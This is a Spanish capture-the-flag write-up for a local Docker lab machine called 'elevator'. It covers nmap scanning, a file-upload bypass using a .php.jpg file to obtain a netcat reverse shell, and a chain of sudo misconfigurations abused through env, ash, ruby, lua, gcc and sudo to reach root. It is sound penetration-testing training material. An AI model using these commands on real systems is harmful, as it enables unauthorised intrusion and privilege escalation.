Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipelevator.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shelevator.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 04:09 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: El Ascensor Embrujado - Un Misterio de Scooby-Doo
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
Si entramos en la pagina web que esta subida, no veremos gran cosa, por lo que intentaremos fuzzear a ver que encontramos.
Vemos que hay bastantes resultados interesantes, por lo que entraremos en la pagina llamada /archivo.html.
URL = http://<IP>/themes/archivo.html
Escalate user www-data
Si entramos en dicha pagina veremos una web en la que podremos subir un archivo .jpg, por lo que intentaremos subir un .php camuflado para crearnos una reverse shell:
Ponemos esas extensiones al archivo .php.jpg para camuflarlo, y antes de enviar el archivo, nos pondremos a la escucha:
nc-lvnp<PORT>
Ahora tendremos que subir el archivo y darle a subir imagen, si ahora nos volvemos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 42940
whoami
www-data
Escalate user daphne
Ahora tendremos que sanitizar la shell (TTY).
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on f6a8d22ef0ec:
(daphne) NOPASSWD: /usr/bin/env
Por lo que podremos ejecutar el binario env como el usuario daphne, por lo que haremos lo siguiente:
sudo-udaphneenv/bin/sh
Y con esto seremos dicho usuario.
Escalate user vilma
Primero pondremos bash para tener una shell de bash y tener una shell mucho mejor.
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for daphne on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User daphne may run the following commands on f6a8d22ef0ec:
(vilma) NOPASSWD: /usr/bin/ash
Por lo que vemos podremos ejecutar ese binario ash como el usuario vilma, por lo que haremos lo siguiente:
sudo-uvilmaash
Y con esto seremos dicho usuario.
Escalate user shaggy
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for vilma on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vilma may run the following commands on f6a8d22ef0ec:
(shaggy) NOPASSWD: /usr/bin/ruby
Por lo que vemos podemos ejecutar el binario ruby como el usuario shaggy, por lo que haremos lo siguiente:
sudo-ushaggyruby-e'exec "/bin/sh"'
Y con esto seremos dicho usuario.
Escalate user fred
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for shaggy on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User shaggy may run the following commands on f6a8d22ef0ec:
(fred) NOPASSWD: /usr/bin/lua
Por lo que vemos podemos ejecutar el binario lua como el usuario fred, por lo que haremos lo siguiente:
sudo-ufredlua-e'os.execute("/bin/sh")'
Y con esto seremos dicho usuario.
Escalate user scooby
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for fred on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User fred may run the following commands on f6a8d22ef0ec:
(scooby) NOPASSWD: /usr/bin/gcc
Por lo que vemos podemos ejecutar el binario gcc como el usuario scooby, por lo que haremos lo siguiente:
sudo-uscoobygcc-wrapper/bin/sh,-s.
Y con esto seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for scooby on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User scooby may run the following commands on f6a8d22ef0ec:
(root) NOPASSWD: /usr/bin/sudo
Vemos que podremos ejecutar el binario sudo como el usuario root, por lo que haremos lo siguiente:
sudosudo/bin/bash
Y con esto ya seremos root, por lo que habremos terminado.
